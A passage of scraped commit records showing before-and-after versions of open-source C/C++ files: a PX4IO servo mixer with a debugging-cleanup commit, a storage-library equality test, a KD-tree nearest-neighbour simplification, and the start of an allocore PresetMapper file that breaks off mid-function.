*\/\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\n\t\t} else if (system_state.rc_channels > 0) {\n\t\t\t\/* when override is on or the fmu is not available, but RC is present *\/\n\t\t\tcontrol_count = system_state.rc_channels;\n\n\t\t\tsched_lock();\n\n\t\t\t\/* remap roll, pitch, yaw and throttle from RC specific to internal ordering *\/\n\t\t\trc_channel_data[ROLL]     = system_state.rc_channel_data[system_state.rc_map[ROLL] - 1];\n\t\t\trc_channel_data[PITCH]    = system_state.rc_channel_data[system_state.rc_map[PITCH] - 1];\n\t\t\trc_channel_data[YAW]      = system_state.rc_channel_data[system_state.rc_map[YAW] - 1];\n\t\t\trc_channel_data[THROTTLE] = system_state.rc_channel_data[system_state.rc_map[THROTTLE] - 1];\n\t\t\t\/\/rc_channel_data[OVERRIDE] = system_state.rc_channel_data[system_state.rc_map[OVERRIDE] - 1];\n\n\t\t\t\/* get the remaining channels, no remapping needed *\/\n\t\t\tfor (unsigned i = 4; i < system_state.rc_channels; i++) {\n\t\t\t\trc_channel_data[i] = system_state.rc_channel_data[i];\n\t\t\t}\n\n\t\t\t\/* scale the control inputs *\/ \n\t\t\trc_channel_data[THROTTLE] = ((float)(rc_channel_data[THROTTLE] - system_state.rc_min[THROTTLE]) \/ \n\t\t\t\t(float)(system_state.rc_max[THROTTLE] - system_state.rc_min[THROTTLE])) * 1000.0f + 1000;\n\n\t\t\tif (rc_channel_data[THROTTLE] > 2000) {\n\t\t\t\trc_channel_data[THROTTLE] = 2000;\n\t\t\t}\n\n\t\t\tif (rc_channel_data[THROTTLE] < 1000) {\n\t\t\t\trc_channel_data[THROTTLE] = 1000;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ lib_lowprintf(\"Tmin: %d Ttrim: %d Tmax: %d T: %d \\n\",\n\t\t\t\/\/ \t(int)(system_state.rc_min[THROTTLE]), (int)(system_state.rc_trim[THROTTLE]),\n\t\t\t\/\/ \t(int)(system_state.rc_max[THROTTLE]), (int)(rc_channel_data[THROTTLE]));\n\n\t\t\tcontrol_values = &rc_channel_data[0];\n\t\t\tsched_unlock();\n\t\t} else {\n\t\t\t\/* we have no control input (no FMU, no RC) *\/\n\n\t\t\t\/\/ XXX builtin failsafe would activate here\n\t\t\tcontrol_count = 0;\n\t\t}\n\t\t\/\/lib_lowprintf(\"R: %d P: %d Y: %d T: %d \\n\", control_values[0], control_values[1], control_values[2], control_values[3]);\n\n\t\/* this is for multicopters, etc. where manual override does not make sense *\/\n\t} else {\n\t\t\/* if the fmu is available whe are good *\/\n\t\tif (system_state.mixer_fmu_available) {\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\t\t\/* we better shut everything off *\/\n\t\t} else {\n\t\t\tcontrol_count = 0;\n\t\t}\n\t}\n\n\t\/*\n\t * Run the mixers if we have any control data at all.\n\t *\/\n\tif (control_count > 0) {\n\t\tfloat\toutputs[IO_SERVO_COUNT];\n\t\tunsigned mixed;\n\n\t\t\/* mix *\/\n\t\tmixed = mixer_group.mix(&outputs[0], IO_SERVO_COUNT);\n\n\t\t\/* scale to PWM and update the servo outputs as required *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++) {\n\t\t\tif (i < mixed) {\n\t\t\t\t\/* scale to servo output *\/\n\t\t\t\tsystem_state.servos[i] = (outputs[i] * 500.0f) + 1500;\n\n\t\t\t} else {\n\t\t\t\t\/* set to zero to inhibit PWM pulse output *\/\n\t\t\t\tsystem_state.servos[i] = 0;\n\t\t\t}\n\n\t\t\t\/*\n\t\t\t * If we are armed, update the servo output.\n\t\t\t *\/\n\t\t\tif (system_state.armed && system_state.arm_ok) {\n\t\t\t\tup_pwm_servo_set(i, system_state.servos[i]);\n\t\t\t}\n\t\t}\n\t}\n\n\t\/*\n\t * Decide whether the servos should be armed right now.\n\t * A sufficient reason is armed state and either FMU or RC control inputs\n\t *\/\n\n\tshould_arm = system_state.armed && system_state.arm_ok && (control_count > 0);\n\n\tif (should_arm && !mixer_servos_armed) {\n\t\t\/* need to arm, but not armed *\/\n\t\tup_pwm_servo_arm(true);\n\t\tmixer_servos_armed = true;\n\n\t} else if (!should_arm && mixer_servos_armed) {\n\t\t\/* armed but need to disarm *\/\n\t\tup_pwm_servo_arm(false);\n\t\tmixer_servos_armed = false;\n\t}\n}\n\nstatic int\nmixer_callback(uintptr_t handle,\n\t       uint8_t control_group,\n\t       uint8_t control_index,\n\t       float &control)\n{\n\t\/* if the control index refers to an input that's not valid, we can't return it *\/\n\tif (control_index >= control_count)\n\t\treturn -1;\n\n\t\/* scale from current PWM units (1000-2000) to mixer input values *\/\n\tif (system_state.manual_override_ok && system_state.mixer_manual_override && control_index == 3) {\n\t\tcontrol = ((float)control_values[control_index] - 1000.0f) \/ 1000.0f;\n\t} else {\n\t\tcontrol = ((float)control_values[control_index] - 1500.0f) \/ 500.0f;\n\t}\n\n\treturn 0;\n}\n\nstatic char mixer_text[256];\nstatic unsigned mixer_text_length = 0;\n\nvoid\nmixer_handle_text(const void *buffer, size_t length)\n{\n\n\tpx4io_mixdata\t*msg = (px4io_mixdata *)buffer;\n\n\tdebug(\"mixer text %u\", length);\n\n\tif (length < sizeof(px4io_mixdata))\n\t\treturn;\n\n\tunsigned\ttext_length = length - sizeof(px4io_mixdata);\n\n\tswitch (msg->action) {\n\tcase F2I_MIXER_ACTION_RESET:\n\t\tdebug(\"reset\");\n\t\tmixer_group.reset();\n\t\tmixer_text_length = 0;\n\n\t\t\/* FALLTHROUGH *\/\n\tcase F2I_MIXER_ACTION_APPEND:\n\t\tdebug(\"append %d\", length);\n\n\t\t\/* check for overflow - this is really fatal *\/\n\t\tif ((mixer_text_length + text_length + 1) > sizeof(mixer_text))\n\t\t\treturn;\n\n\t\t\/* append mixer text and nul-terminate *\/\n\t\tmemcpy(&mixer_text[mixer_text_length], msg->text, text_length);\n\t\tmixer_text_length += text_length;\n\t\tmixer_text[mixer_text_length] = '\\0';\n\t\tdebug(\"buflen %u\", mixer_text_length);\n\n\t\t\/* process the text buffer, adding new mixers as their descriptions can be parsed *\/\n\t\tunsigned resid = mixer_text_length;\n\t\tmixer_group.load_from_buf(&mixer_text[0], resid);\n\n\t\t\/* if anything was parsed *\/\n\t\tif (resid != mixer_text_length) {\n\t\t\tdebug(\"used %u\", mixer_text_length - resid);\n\n\t\t\t\/* copy any leftover text to the base of the buffer for re-use *\/\n\t\t\tif (resid > 0)\n\t\t\t\tmemcpy(&mixer_text[0], &mixer_text[mixer_text_length - resid], resid);\n\n\t\t\tmixer_text_length = resid;\n\t\t}\n\n\t\tbreak;\n\t}\n}\n<commit_msg>Strip some debugging<commit_after>\/****************************************************************************\n *\n *   Copyright (C) 2012 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file mixer.cpp\n *\n * Control channel input\/output mixer and failsafe.\n *\/\n\n#include <nuttx\/config.h>\n#include <nuttx\/arch.h>\n\n#include <sys\/types.h>\n#include <stdbool.h>\n#include <string.h>\n#include <assert.h>\n#include <errno.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sched.h>\n\n#include <debug.h>\n\n#include <drivers\/drv_pwm_output.h>\n#include <drivers\/drv_hrt.h>\n#include <drivers\/device\/device.h>\n\n#include <systemlib\/mixer\/mixer.h>\n\nextern \"C\" {\n\/\/#define DEBUG\n#include \"px4io.h\"\n}\n\n\/*\n * Maximum interval in us before FMU signal is considered lost\n *\/\n#define FMU_INPUT_DROP_LIMIT_US\t\t200000\n\n\/* XXX need to move the RC_CHANNEL_FUNCTION out of rc_channels.h and into systemlib *\/\n#define ROLL     0\n#define PITCH    1\n#define YAW      2\n#define THROTTLE 3\n#define OVERRIDE 4\n\n\/* current servo arm\/disarm state *\/\nbool mixer_servos_armed = false;\n\n\/* selected control values and count for mixing *\/\nstatic uint16_t *control_values;\nstatic int control_count;\n\nstatic uint16_t rc_channel_data[PX4IO_INPUT_CHANNELS];\n\nstatic int\tmixer_callback(uintptr_t handle,\n\t\t\t       uint8_t control_group,\n\t\t\t       uint8_t control_index,\n\t\t\t       float &control);\n\nstatic MixerGroup mixer_group(mixer_callback, 0);\n\nvoid\nmixer_tick(void)\n{\n\tbool should_arm;\n\n\t\/* check that we are receiving fresh data from the FMU *\/\n\tif ((hrt_absolute_time() - system_state.fmu_data_received_time) > FMU_INPUT_DROP_LIMIT_US) {\n\t\t\/* too many frames without FMU input, time to go to failsafe *\/\n\t\tsystem_state.mixer_manual_override = true;\n\t\tsystem_state.mixer_fmu_available = false;\n\t}\n\n\t\/*\n\t * Decide which set of inputs we're using.\n\t *\/\n\t \n\t\/* this is for planes, where manual override makes sense *\/\n\tif (system_state.manual_override_ok) {\n\t\t\/* if everything is ok *\/\n\t\tif (!system_state.mixer_manual_override && system_state.mixer_fmu_available) {\n\t\t\t\/* we have recent control data from the FMU *\/\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\n\t\t} else if (system_state.rc_channels > 0) {\n\t\t\t\/* when override is on or the fmu is not available, but RC is present *\/\n\t\t\tcontrol_count = system_state.rc_channels;\n\n\t\t\tsched_lock();\n\n\t\t\t\/* remap roll, pitch, yaw and throttle from RC specific to internal ordering *\/\n\t\t\trc_channel_data[ROLL]     = system_state.rc_channel_data[system_state.rc_map[ROLL] - 1];\n\t\t\trc_channel_data[PITCH]    = system_state.rc_channel_data[system_state.rc_map[PITCH] - 1];\n\t\t\trc_channel_data[YAW]      = system_state.rc_channel_data[system_state.rc_map[YAW] - 1];\n\t\t\trc_channel_data[THROTTLE] = system_state.rc_channel_data[system_state.rc_map[THROTTLE] - 1];\n\t\t\t\/\/rc_channel_data[OVERRIDE] = system_state.rc_channel_data[system_state.rc_map[OVERRIDE] - 1];\n\n\t\t\t\/* get the remaining channels, no remapping needed *\/\n\t\t\tfor (unsigned i = 4; i < system_state.rc_channels; i++) {\n\t\t\t\trc_channel_data[i] = system_state.rc_channel_data[i];\n\t\t\t}\n\n\t\t\t\/* scale the control inputs *\/ \n\t\t\trc_channel_data[THROTTLE] = ((float)(rc_channel_data[THROTTLE] - system_state.rc_min[THROTTLE]) \/ \n\t\t\t\t(float)(system_state.rc_max[THROTTLE] - system_state.rc_min[THROTTLE])) * 1000.0f + 1000;\n\n\t\t\tif (rc_channel_data[THROTTLE] > 2000) {\n\t\t\t\trc_channel_data[THROTTLE] = 2000;\n\t\t\t}\n\n\t\t\tif (rc_channel_data[THROTTLE] < 1000) {\n\t\t\t\trc_channel_data[THROTTLE] = 1000;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ lib_lowprintf(\"Tmin: %d Ttrim: %d Tmax: %d T: %d \\n\",\n\t\t\t\/\/ \t(int)(system_state.rc_min[THROTTLE]), (int)(system_state.rc_trim[THROTTLE]),\n\t\t\t\/\/ \t(int)(system_state.rc_max[THROTTLE]), (int)(rc_channel_data[THROTTLE]));\n\n\t\t\tcontrol_values = &rc_channel_data[0];\n\t\t\tsched_unlock();\n\t\t} else {\n\t\t\t\/* we have no control input (no FMU, no RC) *\/\n\n\t\t\t\/\/ XXX builtin failsafe would activate here\n\t\t\tcontrol_count = 0;\n\t\t}\n\t\t\/\/lib_lowprintf(\"R: %d P: %d Y: %d T: %d \\n\", control_values[0], control_values[1], control_values[2], control_values[3]);\n\n\t\/* this is for multicopters, etc. where manual override does not make sense *\/\n\t} else {\n\t\t\/* if the fmu is available whe are good *\/\n\t\tif (system_state.mixer_fmu_available) {\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\t\t\/* we better shut everything off *\/\n\t\t} else {\n\t\t\tcontrol_count = 0;\n\t\t}\n\t}\n\n\t\/*\n\t * Run the mixers if we have any control data at all.\n\t *\/\n\tif (control_count > 0) {\n\t\tfloat\toutputs[IO_SERVO_COUNT];\n\t\tunsigned mixed;\n\n\t\t\/* mix *\/\n\t\tmixed = mixer_group.mix(&outputs[0], IO_SERVO_COUNT);\n\n\t\t\/* scale to PWM and update the servo outputs as required *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++) {\n\t\t\tif (i < mixed) {\n\t\t\t\t\/* scale to servo output *\/\n\t\t\t\tsystem_state.servos[i] = (outputs[i] * 500.0f) + 1500;\n\n\t\t\t} else {\n\t\t\t\t\/* set to zero to inhibit PWM pulse output *\/\n\t\t\t\tsystem_state.servos[i] = 0;\n\t\t\t}\n\n\t\t\t\/*\n\t\t\t * If we are armed, update the servo output.\n\t\t\t *\/\n\t\t\tif (system_state.armed && system_state.arm_ok) {\n\t\t\t\tup_pwm_servo_set(i, system_state.servos[i]);\n\t\t\t}\n\t\t}\n\t}\n\n\t\/*\n\t * Decide whether the servos should be armed right now.\n\t * A sufficient reason is armed state and either FMU or RC control inputs\n\t *\/\n\n\tshould_arm = system_state.armed && system_state.arm_ok && (control_count > 0);\n\n\tif (should_arm && !mixer_servos_armed) {\n\t\t\/* need to arm, but not armed *\/\n\t\tup_pwm_servo_arm(true);\n\t\tmixer_servos_armed = true;\n\n\t} else if (!should_arm && mixer_servos_armed) {\n\t\t\/* armed but need to disarm *\/\n\t\tup_pwm_servo_arm(false);\n\t\tmixer_servos_armed = false;\n\t}\n}\n\nstatic int\nmixer_callback(uintptr_t handle,\n\t       uint8_t control_group,\n\t       uint8_t control_index,\n\t       float &control)\n{\n\t\/* if the control index refers to an input that's not valid, we can't return it *\/\n\tif (control_index >= control_count)\n\t\treturn -1;\n\n\t\/* scale from current PWM units (1000-2000) to mixer input values *\/\n\tif (system_state.manual_override_ok && system_state.mixer_manual_override && control_index == 3) {\n\t\tcontrol = ((float)control_values[control_index] - 1000.0f) \/ 1000.0f;\n\t} else {\n\t\tcontrol = ((float)control_values[control_index] - 1500.0f) \/ 500.0f;\n\t}\n\n\treturn 0;\n}\n\nstatic char mixer_text[256];\nstatic unsigned mixer_text_length = 0;\n\nvoid\nmixer_handle_text(const void *buffer, size_t length)\n{\n\n\tpx4io_mixdata\t*msg = (px4io_mixdata *)buffer;\n\n\tdebug(\"mixer text %u\", length);\n\n\tif (length < sizeof(px4io_mixdata))\n\t\treturn;\n\n\tunsigned\ttext_length = length - sizeof(px4io_mixdata);\n\n\tswitch (msg->action) {\n\tcase F2I_MIXER_ACTION_RESET:\n\t\tdebug(\"reset\");\n\t\tmixer_group.reset();\n\t\tmixer_text_length = 0;\n\n\t\t\/* FALLTHROUGH *\/\n\tcase F2I_MIXER_ACTION_APPEND:\n\t\tdebug(\"append %d\", length);\n\n\t\t\/* check for overflow - this is really fatal *\/\n\t\tif ((mixer_text_length + text_length + 1) > sizeof(mixer_text))\n\t\t\treturn;\n\n\t\t\/* append mixer text and nul-terminate *\/\n\t\tmemcpy(&mixer_text[mixer_text_length], msg->text, text_length);\n\t\tmixer_text_length += text_length;\n\t\tmixer_text[mixer_text_length] = '\\0';\n\t\tdebug(\"buflen %u\", mixer_text_length);\n\n\t\t\/* process the text buffer, adding new mixers as their descriptions can be parsed *\/\n\t\tunsigned resid = mixer_text_length;\n\t\tmixer_group.load_from_buf(&mixer_text[0], resid);\n\n\t\t\/* if anything was parsed *\/\n\t\tif (resid != mixer_text_length) {\n\t\t\tdebug(\"used %u\", mixer_text_length - resid);\n\n\t\t\t\/* copy any leftover text to the base of the buffer for re-use *\/\n\t\t\tif (resid > 0)\n\t\t\t\tmemcpy(&mixer_text[0], &mixer_text[mixer_text_length - resid], resid);\n\n\t\t\tmixer_text_length = resid;\n\t\t}\n\n\t\tbreak;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) Steinwurf ApS 2016.\n\/\/ All Rights Reserved\n\/\/\n\/\/ Distributed under the \"BSD License\". See the accompanying LICENSE.rst file.\n\n#include <storage\/operator_equal.hpp>\n#include <storage\/storage.hpp>\n\n#include <cstdint>\n#include <vector>\n\n#include <gtest\/gtest.h>\n\nTEST(test_operator_equal, equal)\n{\n    std::vector<uint8_t> d1(10, 1);\n    std::vector<uint8_t> d2(10, 2);\n    std::vector<uint8_t> d3(15, 3);\n\n    EXPECT_EQ(storage::storage(d1), storage::storage(d1));\n    EXPECT_NE(storage::storage(d1), storage::storage(d2));\n    EXPECT_NE(storage::storage(d1), storage::storage(d3));\n}\n<commit_msg>improve operator_equal test<commit_after>\/\/ Copyright (c) Steinwurf ApS 2016.\n\/\/ All Rights Reserved\n\/\/\n\/\/ Distributed under the \"BSD License\". See the accompanying LICENSE.rst file.\n\n#include <storage\/operator_equal.hpp>\n#include <storage\/storage.hpp>\n\n#include <cstdint>\n#include <vector>\n\n#include <gtest\/gtest.h>\n\nTEST(test_operator_equal, equal)\n{\n    std::vector<uint8_t> d1(10, 1);\n    std::vector<uint8_t> d2(10, 2);\n    std::vector<uint8_t> d3(15, 1);\n    std::vector<uint8_t> d3_2(15, 1);\n\n    EXPECT_EQ(storage::storage(d1), storage::storage(d1));\n    EXPECT_NE(storage::storage(d1), storage::storage(d2));\n    EXPECT_NE(storage::storage(d1), storage::storage(d3));\n    EXPECT_NE(storage::storage(d1), storage::storage(d3_2));\n    EXPECT_EQ(storage::storage(d3), storage::storage(d3_2));\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#include \"..\/utils\/pool.hpp\"\n#include <limits>\n#include <utility>\n\ntemplate<unsigned int K, class Data>\nclass Kdtree {\npublic:\n\n\tclass N {\n\tpublic:\n\t\tdouble point[K];\n\t\tData data;\n\tprivate:\n\t\tfriend class Kdtree<K, Data>;\n\t\tunsigned int split;\n\t\tN *left, *right;\n\t};\n\n\tKdtree();\n\n\t\/\/ Insert inserts a binding from the point to the data into the tree.\n\tvoid insert(double[K], Data);\n\n\t\/\/ Nearest returns a pointer to the nearest node in the tree, or NULL on error.\n\tconst N* nearest(double[K]) const;\n\n\t\/\/ Size returns the number of points in the tree.\n\tunsigned long size() const;\n\nprivate:\n\n\tN *insert(N*, unsigned int, N*);\n\tstd::pair<const N*, double> nearest(const N*, double[], double*) const;\n\tdouble sqdist(const N*, double[]) const;\n\n\tN *root;\n\tunsigned long num;\n\tPool<N> nodes;\n};\n\ntemplate<unsigned int K, class Data>\nKdtree<K, Data>::Kdtree() : root(NULL), num(0) {\n}\n\ntemplate<unsigned int K, class Data>\nvoid Kdtree<K, Data>::insert(double pt[K], Data d) {\n\tN *n = nodes.construct();\n\tfor (unsigned int i = 0; i < K; i++)\n\t\tn->point[i] = pt[i];\n\tn->data = d;\n\troot = insert(root, 0, n);\n\tnum++;\n}\n\ntemplate<unsigned int K, class Data>\ntypename Kdtree<K, Data>::N* Kdtree<K, Data>::insert(N *t, unsigned int depth, N *n) {\n\tif (!t) {\n\t\tn->split = depth % K;\n\t\tn->left = n->right = NULL;\n\t\treturn n;\n\t}\n\n\tunsigned int s = t->split;\n\tif (n->point[s] < t->point[s])\n\t\tt->left = insert(t->left, depth+1, n);\n\telse\n\t\tt->right = insert(t->right, depth+1, n);\n\treturn t;\n}\n\ntemplate<unsigned int K, class Data>\nconst typename Kdtree<K, Data>::N* Kdtree<K, Data>::nearest(double pt[K]) const {\n\tdouble r = std::numeric_limits<double>::infinity();\n\treturn nearest(root, pt, &r).first;\n}\n\ntemplate<unsigned int K, class Data>\nstd::pair<const typename Kdtree<K, Data>::N*, double> Kdtree<K, Data>::nearest(const N *t, double pt[], double *range) const {\n\tif (!t)\n\t\treturn std::make_pair<const N*, double>(NULL, std::numeric_limits<double>::infinity());\n\n\tunsigned int s = t->split;\n\tdouble diff = pt[s] - t->point[s];\n\n\tN *thisSide = t->right;\n\tN *otherSide = t->left;\n\tif (diff < 0) {\n\t\tthisSide = t->left;\n\t\totherSide = t->right;\n\t\tdiff = -diff;\n\t}\n\n\tauto near = nearest(thisSide, pt, range);\n\n\tif (diff*diff > *range)\n\t\treturn near;\n\n\tdouble d = sqdist(t, pt);\n\tif (d <= *range) {\n\t\tnear = std::make_pair(t, d);\n\t\t*range = std::min(near.second, *range);\n\n\t}\n\n\tauto m = nearest(otherSide, pt, range);\n\tif (m.second < near.second)\n\t\tnear = m;\n\n\treturn near;\n}\n\ntemplate<unsigned int K, class Data>\ndouble Kdtree<K, Data>::sqdist(const N *n, double pt[]) const {\n\tif (!n)\n\t\treturn std::numeric_limits<double>::infinity();\n\n\tdouble s = 0;\n\tfor (unsigned int i = 0; i < K; i++) {\n\t\tdouble d = n->point[i] - pt[i];\n\t\ts += d*d;\n\t}\n\treturn s;\n}\n\ntemplate<unsigned int K, class Data>\nunsigned long Kdtree<K, Data>::size() const {\n\treturn num;\n}<commit_msg>structs: simplify the KD-tree traversal.<commit_after>#pragma once\n#include \"..\/utils\/pool.hpp\"\n#include <limits>\n#include <utility>\n\ntemplate<unsigned int K, class Data>\nclass Kdtree {\npublic:\n\n\tclass N {\n\tpublic:\n\t\tdouble point[K];\n\t\tData data;\n\tprivate:\n\t\tfriend class Kdtree<K, Data>;\n\t\tunsigned int split;\n\t\tN *left, *right;\n\t};\n\n\tKdtree();\n\n\t\/\/ Insert inserts a binding from the point to the data into the tree.\n\tvoid insert(double[K], Data);\n\n\t\/\/ Nearest returns a pointer to the nearest node in the tree, or NULL on error.\n\tconst N* nearest(double[K]) const;\n\n\t\/\/ Size returns the number of points in the tree.\n\tunsigned long size() const;\n\nprivate:\n\n\tN *insert(N*, unsigned int, N*);\n\tconst N* nearest(const N*, double[], double*) const;\n\tdouble sqdist(const N*, double[]) const;\n\n\tN *root;\n\tunsigned long num;\n\tPool<N> nodes;\n};\n\ntemplate<unsigned int K, class Data>\nKdtree<K, Data>::Kdtree() : root(NULL), num(0) {\n}\n\ntemplate<unsigned int K, class Data>\nvoid Kdtree<K, Data>::insert(double pt[K], Data d) {\n\tN *n = nodes.construct();\n\tfor (unsigned int i = 0; i < K; i++)\n\t\tn->point[i] = pt[i];\n\tn->data = d;\n\troot = insert(root, 0, n);\n\tnum++;\n}\n\ntemplate<unsigned int K, class Data>\ntypename Kdtree<K, Data>::N* Kdtree<K, Data>::insert(N *t, unsigned int depth, N *n) {\n\tif (!t) {\n\t\tn->split = depth % K;\n\t\tn->left = n->right = NULL;\n\t\treturn n;\n\t}\n\n\tunsigned int s = t->split;\n\tif (n->point[s] < t->point[s])\n\t\tt->left = insert(t->left, depth+1, n);\n\telse\n\t\tt->right = insert(t->right, depth+1, n);\n\treturn t;\n}\n\ntemplate<unsigned int K, class Data>\nconst typename Kdtree<K, Data>::N* Kdtree<K, Data>::nearest(double pt[K]) const {\n\tdouble r = std::numeric_limits<double>::infinity();\n\treturn nearest(root, pt, &r);\n}\n\ntemplate<unsigned int K, class Data>\nconst typename Kdtree<K, Data>::N* Kdtree<K, Data>::nearest(const N *t, double pt[], double *range) const {\n\tif (!t)\n\t\treturn NULL;\n\n\tunsigned int s = t->split;\n\tdouble diff = pt[s] - t->point[s];\n\n\tN *thisSide = t->right;\n\tN *otherSide = t->left;\n\tif (diff < 0) {\n\t\tthisSide = t->left;\n\t\totherSide = t->right;\n\t\tdiff = -diff;\n\t}\n\n\tconst N* n = nearest(thisSide, pt, range);\n\n\tif (diff*diff > *range)\n\t\treturn n;\n\n\tdouble d = sqdist(t, pt);\n\tif (d <= *range) {\n\t\tn = t;\n\t\t*range = std::min(d, *range);\n\t}\n\n\tconst N *m = nearest(otherSide, pt, range);\n\tif (m)\n\t\tn = m;\n\n\treturn n;\n}\n\ntemplate<unsigned int K, class Data>\ndouble Kdtree<K, Data>::sqdist(const N *n, double pt[]) const {\n\tif (!n)\n\t\treturn std::numeric_limits<double>::infinity();\n\n\tdouble s = 0;\n\tfor (unsigned int i = 0; i < K; i++) {\n\t\tdouble d = n->point[i] - pt[i];\n\t\ts += d*d;\n\t}\n\treturn s;\n}\n\ntemplate<unsigned int K, class Data>\nunsigned long Kdtree<K, Data>::size() const {\n\treturn num;\n}<|endoftext|>"}
{"text":"<commit_before>\n#include \"allocore\/ui\/al_PresetMapper.hpp\"\n\nusing namespace al;\n\nvoid PresetMapper::readEntries(std::string path)\n{\n\tDir presetDir(path);\n\twhile (presetDir.read()) {\n\t\tFileInfo entry = presetDir.entry();\n\t\tif (entry.type() == FileInfo::DIR) {\n\t\t\treadEntries(entry.name());\n\t\t} else if (entry.type() == FileInfo::REG) {\n\t\t\tif (entry.name().size() > 4 && entry.name().substr(entry.name().size() - 4) == \".txt\") {\n\t\t\t\tstd::cout << \"Found map: \" << entry.name();\n\t\t\t}\n\t\t}\n\t}\n}\n\nPresetMapper::~PresetMapper() { }\n\nPresetMapper &PresetMapper::registerPresetHandler(PresetHandler &handler) {\n\tmPresetHandler = &handler;\n\tif (mFindAutomatically) {\n\t\tfindPresetMaps();\n\t}\n\treturn *this;\n}\n\nbool PresetMapper::archive(std::string mapName, bool overwrite)\n{\n\tbool ok = true;\n\tstd::string fullPath = mPresetHandler->buildMapPath(mapName) + \"_archive\";\n\tif (overwrite) {\n\t\tif(File::isDirectory(fullPath)) {\n\t\t\tif (!Dir::removeRecursively(fullPath)) {\n\t\t\t\tstd::cout << \"Error removing directory: \" << fullPath << \" aborting preset map archiving.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\tif (File::remove(fullPath) != 0) {\n\t\t\t\tstd::cout << \"Error removing file: \" << fullPath << \" aborting preset map archiving.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif (!Dir::make(fullPath)) {\n\t\t\tstd::cout << \"Error creating preset map archive directory \" << fullPath << std::endl;\n\t\t\treturn false;\n\t\t}\n\t} else {\n\t\tint counter = 0;\n\t\twhile (File::isDirectory(fullPath)) {\n\t\t\tstd::string newName = mapName + \"_\" + std::to_string(counter++);\n\t\t\tfullPath = mPresetHandler->buildMapPath(newName) + \"_archive\";\n\t\t\tif (counter == 0) { \/\/ We've wrapped and run out of names...\n\t\t\t\tstd::cout << \"Out of names for preset map archive.\" << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif (!Dir::make(fullPath)) {\n\t\t\tstd::cout << \"Error creating preset map archive directory \" << fullPath << std::endl;\n\t\t\treturn false;\n\t\t}\n\t}\n\tstd::map<int, std::string> presetMap = mPresetHandler->readPresetMap(mapName);\n\tfor(auto const &preset : presetMap) {\n\t\tstd::string presetFilename = mPresetHandler->getCurrentPath() + preset.second + \".preset\";\n\t\tif (!File::copy(presetFilename, fullPath)) {\n\t\t\tstd::cout << \"Error copying preset \" << presetFilename << \" when archiving preset map.\" << std::endl;\n\t\t\tok = false;\n\t\t}\n\t}\n\tif (!File::copy(mPresetHandler->buildMapPath(mapName), fullPath + \"default.presetMap\")) {\n\t\tstd::cout << \"Error copying map: \" << mapName << \" when archiving preset map.\" << std::endl;\n\t\tok = false;\n\t}\n\n\treturn ok;\n}\n\nbool PresetMapper::load(std::string archiveName)\n{\n\tif (! (archiveName.size() > 18 && archiveName.substr(archiveName.size() - 18) == \".presetMap_archive\") ) {\n\t\tarchiveName +=\".presetMap_archive\";\n\t}\n\tstd::string mapPath = mPresetHandler->getRootPath() + archiveName;\n\tif (File::isDirectory(mapPath)) {\n\t\tmPresetHandler->setSubDirectory(archiveName);\n\t\tmPresetHandler->setCurrentPresetMap(\"default\");\n\t} else {\n\t\tstd::cout << \"Error loading archive: \" << archiveName << std::endl;\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nstd::vector<std::string> PresetMapper::listAvailableMaps(bool showArchives)\n{\n\tstd::vector<std::string> mapList;\n\tDir mapperDir(mPresetHandler->getCurrentPath());\n\n\t\/\/ TODO it makes more sense to sort entries alphabetically\n\twhile(mapperDir.read()) {\n\t\tconst FileInfo &info = mapperDir.entry();\n\t\tif (info.type() == FileInfo::DIR && showArchives) {\n\t\t\tstd::string name = info.name();\n\t\t\tif ( (name.size() > 18 && name.substr(name.size() - 18) == \".presetMap_archive\")) {\n\t\t\t\tmapList.push_back(name);\n\t\t\t}\n\t\t} else if (info.type() == FileInfo::REG && !showArchives) 